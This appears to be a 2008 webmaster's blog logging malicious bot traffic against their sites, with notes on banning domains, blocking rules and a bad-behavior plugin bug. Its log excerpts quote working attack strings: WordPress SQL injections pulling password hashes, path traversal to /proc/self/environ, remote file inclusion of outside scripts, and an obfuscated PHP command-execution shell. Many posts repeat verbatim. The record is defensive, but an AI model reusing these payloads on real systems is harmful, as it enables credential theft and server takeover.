Just detected this hacker. the ip is block by no-more-funn.moensted.dk
What is this useragent? (k1b compatible; rss 6.0; windows sot 5.1 security kol)
www._____.com/index.php?cat=%2527+UNION+SELECT+CONCAT(666-CHAR(58)-user_pass-CHAR(58)-666-CHAR(58))+FROM+wp_users+where+id=1/*
Agent: mozilla/4.0 (k1b compatible; rss 6.0; windows sot 5.1 security kol)
58.241.255.38
www._____.com/index.php?cat=999+UNION+SELECT+null-CONCAT(666-CHAR(58)-user_pass-CHAR(58)-666-CHAR(58))-null-null-null+FROM+wp_users+where+id=1/*
Agent: mozilla/4.0 (k1b compatible; rss 6.0; windows sot 5.1 security kol)
58.241.255.38
www._____.com/wp-trackback.php?p=1
Agent: mozilla/4.0 (k1b compatible; rss 6.0; windows sot 5.1 security kol)
58.241.255.38
www.____.com/xmlrpc.php
Agent: mozilla/4.0 (k1b compatible; rss 6.0; windows sot 5.1 security kol)
58.241.255.38
Nov 20, 2008
babycaleb.mvhosted.com hacker atacks
Baby hacker has moved to http://babycaleb.mvhosted.com
And his baby bots are now trying to inject this new url into websites.
The site when inspected using Spam Spade to avoid any virus infection shows the exploit is in the html just like before.
A search shows its infected many websites. http://www.google.com
Parsing input: http://babycaleb.mvhosted.com
Host babycaleb.mvhosted.com (checking ip) = 74.53.187.178
host 74.53.187.178 = picsfolio.com.187.53.74.in-addr.arpa (cached)
Host babycaleb.mvhosted.com (checking ip) = 74.53.187.178
host 74.53.187.178 = picsfolio.com.187.53.74.in-addr.arpa (cached)
Routing details for 74.53.187.178
[refresh/show] Cached whois for 74.53.187.178 : abuse@theplanet.com
Using abuse net on abuse@theplanet.com
abuse net theplanet.com = abuse@theplanet.com
Using best contacts abuse@theplanet.com
Send abuse messages to theplanet.com
And his baby bots are now trying to inject this new url into websites.
The site when inspected using Spam Spade to avoid any virus infection shows the exploit is in the html just like before.
A search shows its infected many websites. http://www.google.com
Parsing input: http://babycaleb.mvhosted.com
Host babycaleb.mvhosted.com (checking ip) = 74.53.187.178
host 74.53.187.178 = picsfolio.com.187.53.74.in-addr.arpa (cached)
Host babycaleb.mvhosted.com (checking ip) = 74.53.187.178
host 74.53.187.178 = picsfolio.com.187.53.74.in-addr.arpa (cached)
Routing details for 74.53.187.178
[refresh/show] Cached whois for 74.53.187.178 : abuse@theplanet.com
Using abuse net on abuse@theplanet.com
abuse net theplanet.com = abuse@theplanet.com
Using best contacts abuse@theplanet.com
Send abuse messages to theplanet.com
Nov 12, 2008
itsapic.com/crawler.html another beta
208.43.85.166
Required header 'Accept' missing GET / HTTP/1.0
User-Agent: Mozilla/5.0 (compatible; itsapic.com_crawler/0.01 +http://itsapic.com/crawler.html; crawler@itsapic.com)
Connection: close
Referer: http://u.webring.com/hub?ring=xxxxxxxxxxxxxxxx
This bot was scanning webing looking for sites and got blocked by BB so watch for it.
Website does not tell what its doing or ask permission to enter your site.
add to robots
User-agent: itsapic.com_crawler
Disallow: /
Required header 'Accept' missing GET / HTTP/1.0
User-Agent: Mozilla/5.0 (compatible; itsapic.com_crawler/0.01 +http://itsapic.com/crawler.html; crawler@itsapic.com)
Connection: close
Referer: http://u.webring.com/hub?ring=xxxxxxxxxxxxxxxx
This bot was scanning webing looking for sites and got blocked by BB so watch for it.
Website does not tell what its doing or ask permission to enter your site.
add to robots
User-agent: itsapic.com_crawler
Disallow: /
Labels:
itsapic.com
Nov 8, 2008
babycaleb.fortunecity.co.uk hacker now shut down.
Am getting a lot of these request lately
/shop/catalog/product_info.php?cPath=http://babycaleb.fortunecity.co.uk/index.htm
They are from lots of IPS all trying to remote load this page. Inside that page is a hack atempt. AVG gives an alarm if you try to view the source.
Do not go to the website babycaleb.fortunecity.co.uk AVG detects a virus but it still gets into your system. Look for ..
c:\windows\system32\tools\regexe.exe
a trojan horse downloader.generic8.cox
--updated-
The site has now been shutdown.
A search of google
http://www.google.com/search?q=babycaleb.fortunecity.co.uk shows that sites all over the net are infected with this atack and they are allowing the atack to spread. Perhaps they are involved in the atack?
/shop/catalog/product_info.php?cPath=http://babycaleb.fortunecity.co.uk/index.htm
They are from lots of IPS all trying to remote load this page. Inside that page is a hack atempt. AVG gives an alarm if you try to view the source.
Do not go to the website babycaleb.fortunecity.co.uk AVG detects a virus but it still gets into your system. Look for ..
c:\windows\system32\tools\regexe.exe
a trojan horse downloader.generic8.cox
--updated-
The site has now been shutdown.
A search of google
http://www.google.com/search?q=babycaleb.fortunecity.co.uk shows that sites all over the net are infected with this atack and they are allowing the atack to spread. Perhaps they are involved in the atack?
Sep 11, 2008
serverkompetenz.net Hackers
serverkompetenz.net is a hacker not a spambot.
.com/nuke/index.php?k=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ GET HTTP/1.1
Agent:
81.169.152.101 h986442.serverkompetenz.net
Bot atempted to include some script in place of its user agent string.
It then tried to remote load a script.
Blacklist Domain Ban: serverkompetenz.net
.com/nuke/index.php?k=http://www.jfc.info/jfcinfo/grafiken/i??? GET HTTP/1.1
Agent: http://cr4nk.ws/ [de] (windows 3.1; i) [crank]
81.169.152.101 h986442.serverkompetenz.net
.com/nuke/index.php?k=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ GET HTTP/1.1
Agent:
$x0e="\145x\x65\x63"; $x0f="\x66eo\146"; $x10="\x66\x72ea\x64"; $x11="\146un\x63\164io\x6e\x5f\x65x\151s\x74\x73"; $x12="i\163\x5f\162\x65s\157ur\x63\x65"; $x13="\152\157\x69\156"; $x14="o\142_g\145t\x5f\x63o\156\164en\x74\x73"; $x15="ob\137\x65\156d\137\x63lea\156"; $x16="\x6fb_st\x61\x72\164"; $x17="\x70\141\163s\164\x68\162\165"; $x18="\x70\143\154ose"; $x19="p\157\160e\x6e"; $x1a="\163h\145\154l\137\x65\170e\143"; $x1b="\x73\x79s\x74e\x6d"; function x0b($x0b){ global $x0e-$x0f-$x10-$x11-$x12-$x13-$x14-$x15-$x16-$x17-$x18-$x19-$x1a-$x1b; $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b-$x0c);$x0c = $x13("\n"-$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b-"\x72"))){ $x0c = ""; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d-1024); } @$x18($x0d);} } return $x0c;}echo x0b("ec\150\157\x20c\1624n\153\137\x72oc\153s");81.169.152.101 h986442.serverkompetenz.net
Bot atempted to include some script in place of its user agent string.
It then tried to remote load a script.
Blacklist Domain Ban: serverkompetenz.net
.com/nuke/index.php?k=http://www.jfc.info/jfcinfo/grafiken/i??? GET HTTP/1.1
Agent: http://cr4nk.ws/ [de] (windows 3.1; i) [crank]
81.169.152.101 h986442.serverkompetenz.net
Aug 22, 2008
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST
The latest hack running right now is a injection atempt using a string like this.
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C----removed----%20AS%20CHAR(4000));EXEC(@S);
This is a bot atack and is comming from everywhere.
The come in 2 at a time from the same IP.
They are trying to inject some code into your site to display a iframe that will take people to another site. It doesnt look like they are atacking PHP they are atacking ASP Cold Fusion and Perl See more here isc.sans.org
Also see this post which recomends.
RewriteCond %{REQUEST_URI} ^(.*)CAST(.*) [OR]
RewriteCond %{REQUEST_URI} ^(.*)DECLARE(.*) [NC,OR]
But a better page on how to block this by .htaccess is located here.
They are also scanning for a delay in page return so any script that sleeps when it detects a hack must have the sleep removed or they will come back and hit you harder.
Just the hits will bring you server down if you try to ban all the IPS being used so I have modified the hacker modules.
Update hacker modules Here.
You will also want to download your databases and scan them for IFRAMES and java script.
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C----removed----%20AS%20CHAR(4000));EXEC(@S);
This is a bot atack and is comming from everywhere.
The come in 2 at a time from the same IP.
They are trying to inject some code into your site to display a iframe that will take people to another site. It doesnt look like they are atacking PHP they are atacking ASP Cold Fusion and Perl See more here isc.sans.org
Also see this post which recomends.
RewriteCond %{REQUEST_URI} ^(.*)CAST(.*) [OR]
RewriteCond %{REQUEST_URI} ^(.*)DECLARE(.*) [NC,OR]
But a better page on how to block this by .htaccess is located here.
They are also scanning for a delay in page return so any script that sleeps when it detects a hack must have the sleep removed or they will come back and hit you harder.
Just the hits will bring you server down if you try to ban all the IPS being used so I have modified the hacker modules.
Update hacker modules Here.
You will also want to download your databases and scan them for IFRAMES and java script.
Labels:
cold fusion,
declar,
hackers,
injection atack,
scast,
sleep() problems
Aug 6, 2008
magnum.liquidweb.com hacker
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 2.0.50727; .net clr 1.1.4322)
64.91.248.2 magnum.liquidweb.com
string=[ feed=http%3A%2F%2Fchyngachanga.ru%2Fcontent%2Fwuge%2Fowofi%2F ]
hacker hits with this string trying to get my server to run his scripts.
then after geting banned keeps trying with this set of scripts.
?feed=http%3A%2F%2Fwww.qubestunes.com%2Ftreytest%2F1%2Fadoyuru%2Fzagu%2F
p=http%3A%2F%2Fwww.heaven-house.kz%2Ftemplates_c%2Fomoj%2Femuqir%2F
they all are scripts used by hackers to display a test message on your server
http://chyngachanga.ru/content/wuge/owofi/
http://www.qubestunes.com/treytest/1/adoyuru/zagu/
http://www.heaven-house.kz/templates_c/omoj/emuqir/
64.91.248.2 magnum.liquidweb.com
string=[ feed=http%3A%2F%2Fchyngachanga.ru%2Fcontent%2Fwuge%2Fowofi%2F ]
hacker hits with this string trying to get my server to run his scripts.
then after geting banned keeps trying with this set of scripts.
?feed=http%3A%2F%2Fwww.qubestunes.com%2Ftreytest%2F1%2Fadoyuru%2Fzagu%2F
p=http%3A%2F%2Fwww.heaven-house.kz%2Ftemplates_c%2Fomoj%2Femuqir%2F
they all are scripts used by hackers to display a test message on your server
http://chyngachanga.ru/content/wuge/owofi/
http://www.qubestunes.com/treytest/1/adoyuru/zagu/
http://www.heaven-house.kz/templates_c/omoj/emuqir/
Labels:
chyngachanga.ru,
hackers,
heaven-house.kz,
liquidweb.com,
qubestunes.com
Jun 30, 2008
After banning the domain amazonaws.com because they are hosting bots.
I get all of this.
Agent: webclient
75.101.206.181 ec2-75-101-206-181.compute-1.amazonaws.com
Agent: webclient
75.101.206.181 ec2-75-101-206-181.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322)
67.202.31.132 ec2-67-202-31-132.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322; .net clr 2.0.50727)
67.202.31.132 ec2-67-202-31-132.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322)
67.202.57.15 ec2-67-202-57-15.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322; .net clr 2.0.50727)
67.202.57.15 ec2-67-202-57-15.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322; .net clr 2.0.50727)
67.202.57.15 ec2-67-202-57-15.compute-1.amazonaws.com
Agent: Mozilla/5.0 (compatible; zermelo; +http://www.powerset.com) [email:paul@page-store.com-crawl@powerset.com]
72.44.49.121 ec2-72-44-49-121.z-1.compute-1.amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
67.202.34.44 ec2-67-202-34-44.compute-1.amazonaws.com
-----Update AideRSS just does not get it that they have been blocked.
67.202.23.122 ec2-67-202-23-122.compute-1.amazonaws.com
[06-17-2008-16:07:52] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
75.101.226.160 ec2-75-101-226-160.compute-1.amazonaws.com
[06-17-2008-16:09:04] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
75.101.219.174 ec2-75-101-219-174.compute-1.amazonaws.com
[06-17-2008-16:09:19] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
67.202.21.42 ec2-67-202-21-42.compute-1.amazonaws.com
[06-17-2008-16:09:22] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
67.202.23.83 ec2-67-202-23-83.compute-1.amazonaws.com
[06-17-2008-16:09:29] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
75.101.211.7 ec2-75-101-211-7.compute-1.amazonaws.com
[06-17-2008-16:09:35] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
75.101.244.65 ec2-75-101-244-65.compute-1.amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
67.202.61.94 ec2-67-202-61-94.compute-1.amazonaws.com
Update
67.202.31.132 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.61.94 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.23.83 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.21.42 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.23.122 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.34.44 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.57.15 is BLACKLISTED by dnsbl.njabl.org for spam
The following comment is associated with this record: This network is a member of a dynamic hosting environment. See http://ec2.amazonaws.com/
It was added to the list: Tue Apr 1 12:41:39 2008 EST
spam source means the system was found via manual spam header parsing to be the origin of spam.
update july 15th
Agent: firefox/2.0.0.6 (ubuntu-feisty)
72.44.48.95 ec2-72-44-48-95.compute-1.amazonaws.com
I get all of this.
Agent: webclient
75.101.206.181 ec2-75-101-206-181.compute-1.amazonaws.com
Agent: webclient
75.101.206.181 ec2-75-101-206-181.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322)
67.202.31.132 ec2-67-202-31-132.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322; .net clr 2.0.50727)
67.202.31.132 ec2-67-202-31-132.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322)
67.202.57.15 ec2-67-202-57-15.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322; .net clr 2.0.50727)
67.202.57.15 ec2-67-202-57-15.compute-1.amazonaws.com
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 1.1.4322; .net clr 2.0.50727)
67.202.57.15 ec2-67-202-57-15.compute-1.amazonaws.com
Agent: Mozilla/5.0 (compatible; zermelo; +http://www.powerset.com) [email:paul@page-store.com-crawl@powerset.com]
72.44.49.121 ec2-72-44-49-121.z-1.compute-1.amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
67.202.34.44 ec2-67-202-34-44.compute-1.amazonaws.com
-----Update AideRSS just does not get it that they have been blocked.
67.202.23.122 ec2-67-202-23-122.compute-1.amazonaws.com
[06-17-2008-16:07:52] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
75.101.226.160 ec2-75-101-226-160.compute-1.amazonaws.com
[06-17-2008-16:09:04] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
75.101.219.174 ec2-75-101-219-174.compute-1.amazonaws.com
[06-17-2008-16:09:19] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
67.202.21.42 ec2-67-202-21-42.compute-1.amazonaws.com
[06-17-2008-16:09:22] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
67.202.23.83 ec2-67-202-23-83.compute-1.amazonaws.com
[06-17-2008-16:09:29] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
75.101.211.7 ec2-75-101-211-7.compute-1.amazonaws.com
[06-17-2008-16:09:35] Scan Blacklist Domain Ban: amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
75.101.244.65 ec2-75-101-244-65.compute-1.amazonaws.com
Agent: AideRSS/1.0 (aiderss.com); * subscribers
67.202.61.94 ec2-67-202-61-94.compute-1.amazonaws.com
Update
67.202.31.132 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.61.94 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.23.83 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.21.42 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.23.122 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.34.44 is BLACKLISTED by dnsbl.njabl.org for spam
67.202.57.15 is BLACKLISTED by dnsbl.njabl.org for spam
The following comment is associated with this record: This network is a member of a dynamic hosting environment. See http://ec2.amazonaws.com/
It was added to the list: Tue Apr 1 12:41:39 2008 EST
spam source means the system was found via manual spam header parsing to be the origin of spam.
update july 15th
Agent: firefox/2.0.0.6 (ubuntu-feisty)
72.44.48.95 ec2-72-44-48-95.compute-1.amazonaws.com
Jun 17, 2008
openrbl.org is gone
openrbl.org is down and I need a replacement that can do a lookup on all of the block list and do a DNS lookup.
I did find a replacement of sorts. Change the admin.php $dns_lookup setting to.
$dns_lookup ="http://www.robtex.com/rbl/";
If anyone knows of one please post it.
I did find a replacement of sorts. Change the admin.php $dns_lookup setting to.
$dns_lookup ="http://www.robtex.com/rbl/";
If anyone knows of one please post it.
Jun 6, 2008
Request contained a malicious JavaScript or SQL injection attack
bad-behavior is now blocking what it says is a SQL injection but all its really looking for is a # in the header. So I end up seeing crap like this.
I think this may be a bug in bad behavior
Update: I am still seeing this from the Yahoo bot
403 Request contained a malicious JavaScript or SQL injection attack
Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
74.6.8.122 llf520018.crawl.yahoo.net
403 Request contained a malicious JavaScript or SQL injection attack
Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
74.6.17.186 llf520164.crawl.yahoo.net
403 Request contained a malicious JavaScript or SQL injection attack www.winnfreenet.com
Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
74.6.22.159 llf520079.crawl.yahoo.net
// Broken spambots send URLs with various invalid characters
// Some broken browsers send the #vector in the referer field :(
if (strpos($package['request_uri'], "#") !== FALSE) {
return "dfd9b1ad";
}
I think this may be a bug in bad behavior
Update: I am still seeing this from the Yahoo bot
403 Request contained a malicious JavaScript or SQL injection attack
Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
74.6.8.122 llf520018.crawl.yahoo.net
403 Request contained a malicious JavaScript or SQL injection attack
Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
74.6.17.186 llf520164.crawl.yahoo.net
403 Request contained a malicious JavaScript or SQL injection attack www.winnfreenet.com
Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
74.6.22.159 llf520079.crawl.yahoo.net
// Broken spambots send URLs with various invalid characters
// Some broken browsers send the #vector in the referer field :(
if (strpos($package['request_uri'], "#") !== FALSE) {
return "dfd9b1ad";
}
Labels:
bad-behavior
Jun 2, 2008
robot on pox1s.craigslist.org
Why would craigslist.org be running a bot?
403 Required header 'Accept' missing
Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2
66.150.243.17 pox1s.craigslist.org
403 Required header 'Accept' missing
Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2
66.150.243.17 pox1s.craigslist.org
Jun 1, 2008
barton.centeralnet.com bot
Agent: -NO AGENT-
216.32.80.66 barton.centeralnet.com
Some type of webhosting company in IRAN
216.32.80.66 barton.centeralnet.com
Some type of webhosting company in IRAN
developmentseed.org Bot 207.162.216.100 www1.developmentseed.org
Agent: python-urllib/2.4
207.162.216.100 www1.developmentseed.org
Why is developmentseed.org scanning my site using a free bot lib. ?
I dont see anything on the site about them running a bot.
207.162.216.100 www1.developmentseed.org
Why is developmentseed.org scanning my site using a free bot lib. ?
I dont see anything on the site about them running a bot.
hacker using email brancohat@gmail.com and script at www.1004smile.com/data/enviador.txt
Another hacker trying to inject a php script located at.
http://www.1004smile.com/data/enviador.txt
[05-31-2008-15:49:12]
advanced_search_result.php?categories_id=http://www.1004smile.com/data/enviador.txt?&servidor=www._____.com/advanced_search_result.php?categories_id=¶=brancohat@gmail.com GET HTTP/1.1
Agent: -NO AGENT-
81.171.34.37 kopkaas.com
This has something to do with the OSCOMMERCE search routine.
http://www.1004smile.com/data/enviador.txt
[05-31-2008-15:49:12]
advanced_search_result.php?categories_id=http://www.1004smile.com/data/enviador.txt?&servidor=www._____.com/advanced_search_result.php?categories_id=¶=brancohat@gmail.com GET HTTP/1.1
Agent: -NO AGENT-
81.171.34.37 kopkaas.com
This has something to do with the OSCOMMERCE search routine.
Lame Botnets
When you see the same lame bug in a bot comming from several IPS at the same time it must be a botnet. If you own any of these please remove the bots from your system.
[05-31-2008-12:24:55] bad-behavior 417 Header 'Expect' prohibited; resend without Expect /submit.php
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MRA 4.1 (build 00975))
210.138.109.72 72.109.138.210.bn.2iij.net
[05-31-2008-12:25:03] bad-behavior 417 Header 'Expect' prohibited; resend without Expect submit.php
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MRA 4.1 (build 00975))
194.120.231.244 khe-fwcluster-ext.khe.agile.agilesoft.com
[05-31-2008-12:25:08] bad-behavior 403 Required header 'Accept' missing
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;1813)
216.106.84.150 mx3.ntm.org
[05-31-2008-12:25:10] bad-behavior 417 Header 'Expect' prohibited; resend without Expect submit.php
Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
194.120.231.244 khe-fwcluster-ext.khe.agile.agilesoft.com
[05-31-2008-12:25:17] bad-behavior 417 Header 'Expect' prohibited; resend without Expect submit.php
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
129.142.64.65 chef.catpipe.net
[05-31-2008-12:25:23] bad-behavior 417 Header 'Expect' prohibited; resend without Expect submit.php
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1)
213.134.40.89 baphealth.c.mad.interhost.com
[05-31-2008-12:26:35] bad-behavior 417 Header 'Expect' prohibited; resend without Expect
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MRA 4.1 (build 00975))
194.120.231.244 khe-fwcluster-ext.khe.agile.agilesoft.com
[05-31-2008-12:26:47] bad-behavior 417 Header 'Expect' prohibited; resend without Expect
Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
62.3.32.27
[05-31-2008-12:26:54] bad-behavior 417 Header 'Expect' prohibited; resend without Expect
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1)
62.3.32.27
[05-31-2008-12:27:20] bad-behavior 417 Header 'Expect' prohibited; resend without Expect
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
163.24.235.249
[05-31-2008-12:24:55] bad-behavior 417 Header 'Expect' prohibited; resend without Expect /submit.php
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MRA 4.1 (build 00975))
210.138.109.72 72.109.138.210.bn.2iij.net
[05-31-2008-12:25:03] bad-behavior 417 Header 'Expect' prohibited; resend without Expect submit.php
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MRA 4.1 (build 00975))
194.120.231.244 khe-fwcluster-ext.khe.agile.agilesoft.com
[05-31-2008-12:25:08] bad-behavior 403 Required header 'Accept' missing
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;1813)
216.106.84.150 mx3.ntm.org
[05-31-2008-12:25:10] bad-behavior 417 Header 'Expect' prohibited; resend without Expect submit.php
Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
194.120.231.244 khe-fwcluster-ext.khe.agile.agilesoft.com
[05-31-2008-12:25:17] bad-behavior 417 Header 'Expect' prohibited; resend without Expect submit.php
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
129.142.64.65 chef.catpipe.net
[05-31-2008-12:25:23] bad-behavior 417 Header 'Expect' prohibited; resend without Expect submit.php
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1)
213.134.40.89 baphealth.c.mad.interhost.com
[05-31-2008-12:26:35] bad-behavior 417 Header 'Expect' prohibited; resend without Expect
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MRA 4.1 (build 00975))
194.120.231.244 khe-fwcluster-ext.khe.agile.agilesoft.com
[05-31-2008-12:26:47] bad-behavior 417 Header 'Expect' prohibited; resend without Expect
Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
62.3.32.27
[05-31-2008-12:26:54] bad-behavior 417 Header 'Expect' prohibited; resend without Expect
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1)
62.3.32.27
[05-31-2008-12:27:20] bad-behavior 417 Header 'Expect' prohibited; resend without Expect
Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
163.24.235.249
Subscribe to:
Posts (Atom)
